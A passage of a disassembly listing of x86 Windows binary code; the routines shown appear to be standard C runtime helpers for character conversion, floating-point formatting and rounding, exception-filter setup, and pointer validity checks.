loc_413507: ; CODE XREF: sub_4134C8+36j
; sub_4134C8+C0j
push 1
pop eax
jmp short loc_4134ED
; ---------------------------------------------------------------------------
loc_41350C: ; CODE XREF: sub_4134C8+2Fj
mov ecx, off_41FD78
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_413569
mov eax, dword_41FF84
cmp eax, 1
jle short loc_413550
cmp [ebp+arg_8], eax
jl short loc_41355A
xor ecx, ecx
cmp [ebp+arg_0], ebx
setnz cl
push ecx
push [ebp+arg_0]
push eax
push esi
push 9
push dword_47F9B4
call dword_4170C4 ; MultiByteToWideChar
test eax, eax
mov eax, dword_41FF84
jnz short loc_4134ED
loc_413550: ; CODE XREF: sub_4134C8+5Cj
cmp [ebp+arg_8], eax
jb short loc_41355A
cmp [esi+1], bl
jnz short loc_4134ED
loc_41355A: ; CODE XREF: sub_4134C8+61j
; sub_4134C8+8Bj ...
mov dword_47F914, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_4134ED
; ---------------------------------------------------------------------------
loc_413569: ; CODE XREF: sub_4134C8+52j
xor eax, eax
cmp [ebp+arg_0], ebx
setnz al
push eax
push [ebp+arg_0]
push 1
push esi
push 9
push dword_47F9B4
call dword_4170C4 ; MultiByteToWideChar
test eax, eax
jnz loc_413507
jmp short loc_41355A
sub_4134C8 endp
; =============== S U B R O U T I N E =======================================
sub_413590 proc near ; CODE XREF: sub_40DF72+76p
; sub_40DF72+88p ...
arg_0 = dword ptr 4
cmp dword_41FF84, 1
jle short loc_4135A7
push 8
push [esp+4+arg_0]
call sub_4114D9
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_4135A7: ; CODE XREF: sub_413590+7j
mov eax, [esp+arg_0]
mov ecx, off_41FD78
mov al, [ecx+eax*2]
and eax, 8
retn
sub_413590 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4135C0 proc near ; CODE XREF: sub_40DF72+797p
; sub_40DF72+7E7p
cmp cl, 40h
jnb short loc_4135DA
cmp cl, 20h
jnb short loc_4135D0
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_4135D0: ; CODE XREF: sub_4135C0+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_4135DA: ; CODE XREF: sub_4135C0+3j
xor eax, eax
xor edx, edx
retn
sub_4135C0 endp
; =============== S U B R O U T I N E =======================================
sub_4135DF proc near ; CODE XREF: sub_40E9E8+Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 0FFFFFFFFh
push esi
jz short loc_41362B
mov esi, [esp+8+arg_4]
mov eax, [esi+0Ch]
test al, 1
jnz short loc_4135FD
test al, 80h
jz short loc_41362B
test al, 2
jnz short loc_41362B
loc_4135FD: ; CODE XREF: sub_4135DF+14j
cmp dword ptr [esi+8], 0
jnz short loc_41360A
push esi
call sub_41333D
pop ecx
loc_41360A: ; CODE XREF: sub_4135DF+22j
mov eax, [esi]
cmp eax, [esi+8]
jnz short loc_41361A
cmp dword ptr [esi+4], 0
jnz short loc_41362B
inc eax
mov [esi], eax
loc_41361A: ; CODE XREF: sub_4135DF+30j
test byte ptr [esi+0Ch], 40h
jz short loc_413631
dec dword ptr [esi]
mov eax, [esi]
cmp [eax], bl
jz short loc_413637
inc eax
mov [esi], eax
loc_41362B: ; CODE XREF: sub_4135DF+9j
; sub_4135DF+18j ...
or eax, 0FFFFFFFFh
loc_41362E: ; CODE XREF: sub_4135DF+6Cj
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_413631: ; CODE XREF: sub_4135DF+3Fj
dec dword ptr [esi]
mov eax, [esi]
mov [eax], bl
loc_413637: ; CODE XREF: sub_4135DF+47j
mov eax, [esi+0Ch]
inc dword ptr [esi+4]
and al, 0EFh
or al, 1
mov [esi+0Ch], eax
mov eax, ebx
and eax, 0FFh
jmp short loc_41362E
sub_4135DF endp
; =============== S U B R O U T I N E =======================================
sub_41364D proc near ; CODE XREF: sub_4103D9+52p
xor eax, eax
retn
sub_41364D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413650 proc near ; CODE XREF: sub_413685+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
fstcw word ptr [ebp+var_4]
push [ebp+var_4]
call sub_41369B
mov esi, eax
mov eax, [ebp+arg_4]
not eax
and esi, eax
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
or esi, eax
push esi
call sub_41372D
pop ecx
mov [ebp+arg_4], eax
pop ecx
fldcw word ptr [ebp+arg_4]
mov eax, esi
pop esi
leave
retn
sub_413650 endp
; =============== S U B R O U T I N E =======================================
sub_413685 proc near ; CODE XREF: sub_4106C5+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
and eax, 0FFF7FFFFh
push eax
push [esp+4+arg_0]
call sub_413650
pop ecx
pop ecx
retn
sub_413685 endp
; =============== S U B R O U T I N E =======================================
sub_41369B proc near ; CODE XREF: sub_413650+Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push ebp
test bl, 1
push edi
jz short loc_4136AC
push 10h
pop eax
loc_4136AC: ; CODE XREF: sub_41369B+Cj
test bl, 4
jz short loc_4136B3
or al, 8
loc_4136B3: ; CODE XREF: sub_41369B+14j
test bl, 8
jz short loc_4136BA
or al, 4
loc_4136BA: ; CODE XREF: sub_41369B+1Bj
test bl, 10h
jz short loc_4136C1
or al, 2
loc_4136C1: ; CODE XREF: sub_41369B+22j
test bl, 20h
jz short loc_4136C8
or al, 1
loc_4136C8: ; CODE XREF: sub_41369B+29j
test bl, 2
jz short loc_4136D2
or eax, 80000h
loc_4136D2: ; CODE XREF: sub_41369B+30j
movzx ecx, bx
push esi
mov edx, ecx
mov esi, 0C00h
mov edi, 300h
and edx, esi
mov ebp, 200h
jz short loc_41370A
cmp edx, 400h
jz short loc_413707
cmp edx, 800h
jz short loc_413703
cmp edx, esi
jnz short loc_41370A
or eax, edi
jmp short loc_41370A
; ---------------------------------------------------------------------------
loc_413703: ; CODE XREF: sub_41369B+5Ej
or eax, ebp
jmp short loc_41370A
; ---------------------------------------------------------------------------
loc_413707: ; CODE XREF: sub_41369B+56j
or ah, 1
loc_41370A: ; CODE XREF: sub_41369B+4Ej
; sub_41369B+62j ...
and ecx, edi
pop esi
jz short loc_41371A
cmp ecx, ebp
jnz short loc_41371F
or eax, 10000h
jmp short loc_41371F
; ---------------------------------------------------------------------------
loc_41371A: ; CODE XREF: sub_41369B+72j
or eax, 20000h
loc_41371F: ; CODE XREF: sub_41369B+76j
; sub_41369B+7Dj
pop edi
pop ebp
test bh, 10h
pop ebx
jz short locret_41372C
or eax, 40000h
locret_41372C: ; CODE XREF: sub_41369B+8Aj
retn
sub_41369B endp
; =============== S U B R O U T I N E =======================================
sub_41372D proc near ; CODE XREF: sub_413650+23p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push esi
test bl, 10h
jz short loc_41373D
push 1
pop eax
loc_41373D: ; CODE XREF: sub_41372D+Bj
test bl, 8
jz short loc_413744
or al, 4
loc_413744: ; CODE XREF: sub_41372D+13j
test bl, 4
jz short loc_41374B
or al, 8
loc_41374B: ; CODE XREF: sub_41372D+1Aj
test bl, 2
jz short loc_413752
or al, 10h
loc_413752: ; CODE XREF: sub_41372D+21j
test bl, 1
jz short loc_413759
or al, 20h
loc_413759: ; CODE XREF: sub_41372D+28j
test ebx, 80000h
jz short loc_413763
or al, 2
loc_413763: ; CODE XREF: sub_41372D+32j
mov ecx, ebx
mov edx, 300h
and ecx, edx
mov esi, 200h
jz short loc_413790
cmp ecx, 100h
jz short loc_41378D
cmp ecx, esi
jz short loc_413788
cmp ecx, edx
jnz short loc_413790
or ah, 0Ch
jmp short loc_413790
; ---------------------------------------------------------------------------
loc_413788: ; CODE XREF: sub_41372D+50j
or ah, 8
jmp short loc_413790
; ---------------------------------------------------------------------------
loc_41378D: ; CODE XREF: sub_41372D+4Cj
or ah, 4
loc_413790: ; CODE XREF: sub_41372D+44j
; sub_41372D+54j ...
mov ecx, ebx
and ecx, 30000h
jz short loc_4137A6
cmp ecx, 10000h
jnz short loc_4137A8
or eax, esi
jmp short loc_4137A8
; ---------------------------------------------------------------------------
loc_4137A6: ; CODE XREF: sub_41372D+6Bj
or eax, edx
loc_4137A8: ; CODE XREF: sub_41372D+73j
; sub_41372D+77j
pop esi
test ebx, 40000h
pop ebx
jz short locret_4137B5
or ah, 10h
locret_4137B5: ; CODE XREF: sub_41372D+83j
retn
sub_41372D endp
; =============== S U B R O U T I N E =======================================
sub_4137B6 proc near ; CODE XREF: sub_413855+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
push 20h
cdq
pop ecx
idiv ecx
push 1Fh
mov esi, eax
mov eax, [esp+8+arg_4]
cdq
idiv ecx
pop ecx
mov eax, [esp+4+arg_0]
sub ecx, edx
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [eax+esi*4], edx
jnz short loc_4137FB
inc esi
cmp esi, 3
jge short loc_4137F6
lea eax, [eax+esi*4]
loc_4137E8: ; CODE XREF: sub_4137B6+3Ej
cmp dword ptr [eax], 0
jnz short loc_4137FB
inc esi
add eax, 4
cmp esi, 3
jl short loc_4137E8
loc_4137F6: ; CODE XREF: sub_4137B6+2Dj
push 1
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4137FB: ; CODE XREF: sub_4137B6+27j
; sub_4137B6+35j
xor eax, eax
pop esi
retn
sub_4137B6 endp
; =============== S U B R O U T I N E =======================================
sub_4137FF proc near ; CODE XREF: sub_413855+57p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
push edi
push 20h
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
idiv ecx
mov esi, eax
mov eax, [esp+0Ch+arg_4]
cdq
idiv ecx
lea edi, [ebx+esi*4]
push edi
push 1Fh
pop ecx
push 1
pop eax
sub ecx, edx
shl eax, cl
push eax
push dword ptr [edi]
call sub_414B56
add esp, 0Ch
dec esi
js short loc_413851
lea edi, [ebx+esi*4]
loc_413838: ; CODE XREF: sub_4137FF+50j
test eax, eax
jz short loc_413851
push edi
push 1
push dword ptr [edi]
call sub_414B56
add esp, 0Ch
dec esi
sub edi, 4
test esi, esi
jge short loc_413838
loc_413851: ; CODE XREF: sub_4137FF+34j
; sub_4137FF+3Bj
pop edi
pop esi
pop ebx
retn
sub_4137FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413855 proc near ; CODE XREF: sub_4139B0+81p
; sub_4139B0+CCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
lea edi, [eax-1]
push 20h
pop ecx
and [ebp+var_4], 0
lea ebx, [edi+1]
push 20h
mov eax, ebx
pop esi
cdq
idiv ecx
push 1Fh
mov ecx, eax
mov eax, ebx
cdq
idiv esi
mov eax, [ebp+arg_0]
pop esi
push 1
mov [ebp+var_8], ecx
lea eax, [eax+ecx*4]
mov [ebp+arg_4], eax
sub esi, edx
pop edx
mov ecx, esi
shl edx, cl
test [eax], edx
jz short loc_4138B9
inc ebx
push ebx
push [ebp+arg_0]
call sub_4137B6
pop ecx
test eax, eax
pop ecx
jnz short loc_4138B6
push edi
push [ebp+arg_0]
call sub_4137FF
pop ecx
mov [ebp+var_4], eax
pop ecx
loc_4138B6: ; CODE XREF: sub_413855+51j
mov eax, [ebp+arg_4]
loc_4138B9: ; CODE XREF: sub_413855+41j
or edx, 0FFFFFFFFh
mov ecx, esi
shl edx, cl
push 3
pop ecx
and [eax], edx
mov eax, [ebp+var_8]
inc eax
cmp eax, ecx
jge short loc_4138D9
mov edx, [ebp+arg_0]
sub ecx, eax
lea edi, [edx+eax*4]
xor eax, eax
rep stosd
loc_4138D9: ; CODE XREF: sub_413855+76j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_413855 endp
; =============== S U B R O U T I N E =======================================
sub_4138E1 proc near ; CODE XREF: sub_4139B0+75p
; sub_4139B0+B6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push esi
push 3
sub ecx, eax
pop edx
loc_4138EF: ; CODE XREF: sub_4138E1+17j
mov esi, [eax]
mov [ecx+eax], esi
add eax, 4
dec edx
jnz short loc_4138EF
pop esi
retn
sub_4138E1 endp
; =============== S U B R O U T I N E =======================================
sub_4138FC proc near ; CODE XREF: sub_4139B0+5Fp
; sub_4139B0+9Ep ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor eax, eax
stosd
stosd
stosd
pop edi
retn
sub_4138FC endp
; =============== S U B R O U T I N E =======================================
sub_413908 proc near ; CODE XREF: sub_4139B0+4Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
loc_41390E: ; CODE XREF: sub_413908+12j
cmp dword ptr [eax], 0
jnz short loc_413920
inc ecx
add eax, 4
cmp ecx, 3
jl short loc_41390E
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_413920: ; CODE XREF: sub_413908+9j
xor eax, eax
retn
sub_413908 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413923 proc near ; CODE XREF: sub_4139B0+C0p
; sub_4139B0+DAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 20h
mov edi, [ebp+arg_0]
pop ebx
or esi, 0FFFFFFFFh
cdq
mov ecx, ebx
mov [ebp+var_4], 3
idiv ecx
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
cdq
idiv ecx
and [ebp+arg_4], 0
mov ecx, edx
shl esi, cl
sub ebx, edx
not esi
loc_413959: ; CODE XREF: sub_413923+58j
mov eax, [edi]
mov ecx, eax
and ecx, esi
mov [ebp+var_8], ecx
mov ecx, edx
shr eax, cl
or eax, [ebp+arg_4]
mov [edi], eax
mov eax, [ebp+var_8]
mov ecx, ebx
add edi, 4
shl eax, cl
dec [ebp+var_4]
mov [ebp+arg_4], eax
jnz short loc_413959
mov edi, [ebp+var_C]
push 2
pop ebx
mov esi, edi
push 8
pop ecx
shl esi, 2
loc_41398B: ; CODE XREF: sub_413923+86j
cmp ebx, edi
jl short loc_41399E
mov edx, [ebp+arg_0]
mov eax, ecx
sub eax, esi
mov eax, [eax+edx]
mov [ecx+edx], eax
jmp short loc_4139A5
; ---------------------------------------------------------------------------
loc_41399E: ; CODE XREF: sub_413923+6Aj
mov eax, [ebp+arg_0]
and dword ptr [ecx+eax], 0
loc_4139A5: ; CODE XREF: sub_413923+79j
dec ebx
sub ecx, 4
jns short loc_41398B
pop edi
pop esi
pop ebx
leave
retn
sub_413923 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4139B0 proc near ; CODE XREF: sub_413B1C+Dp
; sub_413B32+Dp
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
movzx ecx, word ptr [eax+0Ah]
mov ebx, ecx
and ecx, 8000h
mov [ebp+arg_0], ecx
mov ecx, [eax+6]
mov [ebp+var_C], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
mov edi, [ebp+arg_8]
and ebx, 7FFFh
sub ebx, 3FFFh
mov [ebp+var_8], ecx
shl eax, 10h
cmp ebx, 0FFFFC001h
mov [ebp+var_4], eax
jnz short loc_413A1D
lea eax, [ebp+var_C]
xor esi, esi
push eax
call sub_413908
test eax, eax
pop ecx
jnz loc_413ADC
lea eax, [ebp+var_C]
push eax
call sub_4138FC
pop ecx
loc_413A15: ; CODE XREF: sub_4139B0+E4j
push 2
loc_413A17: ; CODE XREF: sub_4139B0+110j
pop eax
jmp loc_413ADE
; ---------------------------------------------------------------------------
loc_413A1D: ; CODE XREF: sub_4139B0+45j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_18]
push eax
call sub_4138E1
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_413855
add esp, 10h
test eax, eax
jz short loc_413A3E
inc ebx
loc_413A3E: ; CODE XREF: sub_4139B0+8Bj
mov eax, [edi+4]
mov ecx, eax
sub ecx, [edi+8]
cmp ebx, ecx
jge short loc_413A56
lea eax, [ebp+var_C]
push eax
call sub_4138FC
pop ecx
jmp short loc_413A92
; ---------------------------------------------------------------------------
loc_413A56: ; CODE XREF: sub_4139B0+98j
cmp ebx, eax
jg short loc_413A99
sub eax, ebx
mov esi, eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4138E1
lea eax, [ebp+var_C]
push esi
push eax
call sub_413923
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_413855
mov eax, [edi+0Ch]
inc eax
push eax
lea eax, [ebp+var_C]
push eax
call sub_413923
add esp, 20h
loc_413A92: ; CODE XREF: sub_4139B0+A4j
xor esi, esi
jmp loc_413A15
; ---------------------------------------------------------------------------
loc_413A99: ; CODE XREF: sub_4139B0+A8j
cmp ebx, [edi]
jl short loc_413AC5
lea eax, [ebp+var_C]
push eax
call sub_4138FC
push dword ptr [edi+0Ch]
or byte ptr [ebp+var_C+3], 80h
lea eax, [ebp+var_C]
push eax
call sub_413923
mov esi, [edi+14h]
add esp, 0Ch
add esi, [edi]
push 1
jmp loc_413A17
; ---------------------------------------------------------------------------
loc_413AC5: ; CODE XREF: sub_4139B0+EBj
push dword ptr [edi+0Ch]
mov esi, [edi+14h]
and byte ptr [ebp+var_C+3], 7Fh
lea eax, [ebp+var_C]
push eax
add esi, ebx
call sub_413923
pop ecx
pop ecx
loc_413ADC: ; CODE XREF: sub_4139B0+55j
xor eax, eax
loc_413ADE: ; CODE XREF: sub_4139B0+68j
push 1Fh
pop ecx
sub ecx, [edi+0Ch]
mov edi, [edi+10h]
shl esi, cl
mov ecx, [ebp+arg_0]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or esi, ecx
or esi, [ebp+var_C]
cmp edi, 40h
jnz short loc_413B0D
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx+4], esi
mov [ecx], edx
jmp short loc_413B17
; ---------------------------------------------------------------------------
loc_413B0D: ; CODE XREF: sub_4139B0+14Ej
cmp edi, 20h
jnz short loc_413B17
mov ecx, [ebp+arg_4]
mov [ecx], esi
loc_413B17: ; CODE XREF: sub_4139B0+15Bj
; sub_4139B0+160j
pop edi
pop esi
pop ebx
leave
retn
sub_4139B0 endp
; =============== S U B R O U T I N E =======================================
sub_413B1C proc near ; CODE XREF: sub_413B48+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_420598
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_4139B0
add esp, 0Ch
retn
sub_413B1C endp
; =============== S U B R O U T I N E =======================================
sub_413B32 proc near ; CODE XREF: sub_413B75+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_4205B0
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_4139B0
add esp, 0Ch
retn
sub_413B32 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413B48 proc near ; CODE XREF: sub_4107FE+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_414CF7
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_413B1C
add esp, 24h
leave
retn
sub_413B48 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413B75 proc near ; CODE XREF: sub_4107FE+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_414CF7
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_413B32
add esp, 24h
leave
retn
sub_413B75 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413BA2 proc near ; CODE XREF: sub_41083C+65p
; sub_410940+63p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov ecx, [edx+0Ch]
push edi
lea edi, [esi+1]
mov byte ptr [esi], 30h
test ebx, ebx
mov eax, edi
jle short loc_413BDF
mov [ebp+arg_0], ebx
xor ebx, ebx
loc_413BC5: ; CODE XREF: sub_413BA2+38j
mov dl, [ecx]
test dl, dl
jz short loc_413BD1
movsx edx, dl
inc ecx
jmp short loc_413BD4
; ---------------------------------------------------------------------------
loc_413BD1: ; CODE XREF: sub_413BA2+27j
push 30h
pop edx
loc_413BD4: ; CODE XREF: sub_413BA2+2Dj
mov [eax], dl
inc eax
dec [ebp+arg_0]
jnz short loc_413BC5
mov edx, [ebp+arg_8]
loc_413BDF: ; CODE XREF: sub_413BA2+1Cj
and byte ptr [eax], 0
test ebx, ebx
jl short loc_413BF8
cmp byte ptr [ecx], 35h
jl short loc_413BF8
loc_413BEB: ; CODE XREF: sub_413BA2+52j
dec eax
cmp byte ptr [eax], 39h
jnz short loc_413BF6
mov byte ptr [eax], 30h
jmp short loc_413BEB
; ---------------------------------------------------------------------------
loc_413BF6: ; CODE XREF: sub_413BA2+4Dj
inc byte ptr [eax]
loc_413BF8: ; CODE XREF: sub_413BA2+42j
; sub_413BA2+47j
cmp byte ptr [esi], 31h
jnz short loc_413C02
inc dword ptr [edx+4]
jmp short loc_413C14
; ---------------------------------------------------------------------------
loc_413C02: ; CODE XREF: sub_413BA2+59j
push edi
call sub_40B5B0
inc eax
push eax
push edi
push esi
call sub_40BE50
add esp, 10h
loc_413C14: ; CODE XREF: sub_413BA2+5Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_413BA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413C19 proc near ; CODE XREF: sub_41083C+3Fp
; sub_410940+46p ...
var_C = byte ptr -0Ch
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
lea eax, [ebp+arg_0]
push edi
push eax
lea eax, [ebp+var_C]
push eax
call sub_413C7D
pop ecx
lea esi, [ebp+var_C]
pop ecx
push offset word_47FAE0
push 0
push 11h
sub esp, 0Ch
mov edi, esp
movsd
movsd
movsw
call sub_4151C8
mov dword_47FB08, eax
add esp, 18h
movsx eax, byte_47FAE2
mov dword_47FB00, eax
pop edi
movsx eax, word_47FAE0
mov dword_47FB04, eax
mov dword_47FB0C, offset dword_47FAE4
mov eax, offset dword_47FB00
pop esi
leave
retn
sub_413C19 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413C7D proc near ; CODE XREF: sub_413C19+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_4]
push ebx
push esi
push edi
mov ax, [edx+6]
mov edi, 7FFh
mov ecx, eax
and eax, 8000h
shr ecx, 4
and ecx, edi
mov [ebp+arg_4], eax
mov eax, [edx+4]
mov edx, [edx]
movzx ebx, cx
mov esi, 80000000h
and eax, 0FFFFFh
test ebx, ebx
mov [ebp+var_4], esi
jz short loc_413CCB
cmp ebx, edi
jz short loc_413CC4
lea edi, [ecx+3C00h]
jmp short loc_413CEC
; ---------------------------------------------------------------------------
loc_413CC4: ; CODE XREF: sub_413C7D+3Dj
mov edi, 7FFFh
jmp short loc_413CEC
; ---------------------------------------------------------------------------
loc_413CCB: ; CODE XREF: sub_413C7D+39j
xor ebx, ebx
cmp eax, ebx
jnz short loc_413CE3
cmp edx, ebx
jnz short loc_413CE3
mov eax, [ebp+arg_0]
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], bx
jmp short loc_413D2E
; ---------------------------------------------------------------------------
loc_413CE3: ; CODE XREF: sub_413C7D+52j
; sub_413C7D+56j
lea edi, [ecx+3C01h]
mov [ebp+var_4], ebx
loc_413CEC: ; CODE XREF: sub_413C7D+45j
; sub_413C7D+4Cj
mov ecx, edx
shr ecx, 15h
shl eax, 0Bh
or ecx, eax
mov eax, [ebp+arg_0]
or ecx, [ebp+var_4]
shl edx, 0Bh
mov [eax+4], ecx
mov [eax], edx
loc_413D04: ; CODE XREF: sub_413C7D+A6j
test ecx, esi
jnz short loc_413D25
mov edx, [eax]
add ecx, ecx
mov ebx, edx
shr ebx, 1Fh
or ebx, ecx
lea ecx, [edx+edx]
mov [eax], ecx
mov [eax+4], ebx
add edi, 0FFFFh
mov ecx, ebx
jmp short loc_413D04
; ---------------------------------------------------------------------------
loc_413D25: ; CODE XREF: sub_413C7D+89j
mov ecx, [ebp+arg_4]
or ecx, edi
mov [eax+8], cx
loc_413D2E: ; CODE XREF: sub_413C7D+64j
pop edi
pop esi
pop ebx
leave
retn
sub_413C7D endp
; ---------------------------------------------------------------------------
push 2
call sub_40D60A
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_413D3C proc near ; DATA XREF: sub_413D82o
; .nsp0:0041FD68o ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_413D5F
cmp dword ptr [eax+10h], 3
jnz short loc_413D5F
cmp dword ptr [eax+14h], 19930520h
jnz short loc_413D5F
jmp sub_4113CC
; ---------------------------------------------------------------------------
loc_413D5F: ; CODE XREF: sub_413D3C+Dj
; sub_413D3C+13j ...
mov eax, dword_47FB10
test eax, eax
jz short loc_413D7C
push eax
call sub_413DD8
test eax, eax
pop ecx
jz short loc_413D7C
push esi
call dword_47FB10
jmp short loc_413D7E
; ---------------------------------------------------------------------------
loc_413D7C: ; CODE XREF: sub_413D3C+2Aj
; sub_413D3C+35j
xor eax, eax
loc_413D7E: ; CODE XREF: sub_413D3C+3Ej
pop esi
retn 4
sub_413D3C endp
; =============== S U B R O U T I N E =======================================
sub_413D82 proc near ; DATA XREF: .nsp0:00419020o
push offset sub_413D3C
call dword_41702C ; SetUnhandledExceptionFilter
mov dword_47FB10, eax
retn
sub_413D82 endp
; =============== S U B R O U T I N E =======================================
sub_413D93 proc near ; DATA XREF: .nsp0:00419038o
push dword_47FB10
call dword_41702C ; SetUnhandledExceptionFilter
retn
sub_413D93 endp
; =============== S U B R O U T I N E =======================================
sub_413DA0 proc near ; CODE XREF: sub_410C14+6Bp
; sub_411125+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call dword_417028 ; IsBadReadPtr
test eax, eax
jz short loc_413DB8
xor esi, esi
loc_413DB8: ; CODE XREF: sub_413DA0+14j
mov eax, esi
pop esi
retn
sub_413DA0 endp
; =============== S U B R O U T I N E =======================================
sub_413DBC proc near ; CODE XREF: sub_411125+73p
; sub_411125+BFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call dword_41713C ; IsBadWritePtr
test eax, eax
jz short loc_413DD4
xor esi, esi
loc_413DD4: ; CODE XREF: sub_413DBC+14j
mov eax, esi
pop esi
retn
sub_413DBC endp
; =============== S U B R O U T I N E =======================================
sub_413DD8 proc near ; CODE XREF: sub_411125+15Bp
; sub_413D3C+2Dp
arg_0 = dword ptr 4
push esi
push 1
pop esi
push [esp+4+arg_0]
call dword_417024 ; IsBadCodePtr
test eax, eax
jz short loc_413DEC
xor esi, esi
loc_413DEC: ; CODE XREF: sub_413DD8+10j
mov eax, esi
pop esi
retn
sub_413DD8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4113CC
loc_413DF0: ; CODE XREF: sub_4113CC:loc_41141Dj
push 0Ah
call sub_41303D
push 16h
call sub_41545B
pop ecx
pop ecx
push 3
call sub_40D156
; END OF FUNCTION CHUNK FOR sub_4113CC
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413E07 proc near ; CODE XREF: sub_4114D9+5Ep
; sub_41227E+9Ap
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_417B70
push offset sub_412F2C
mov eax, large fs:0
push eax
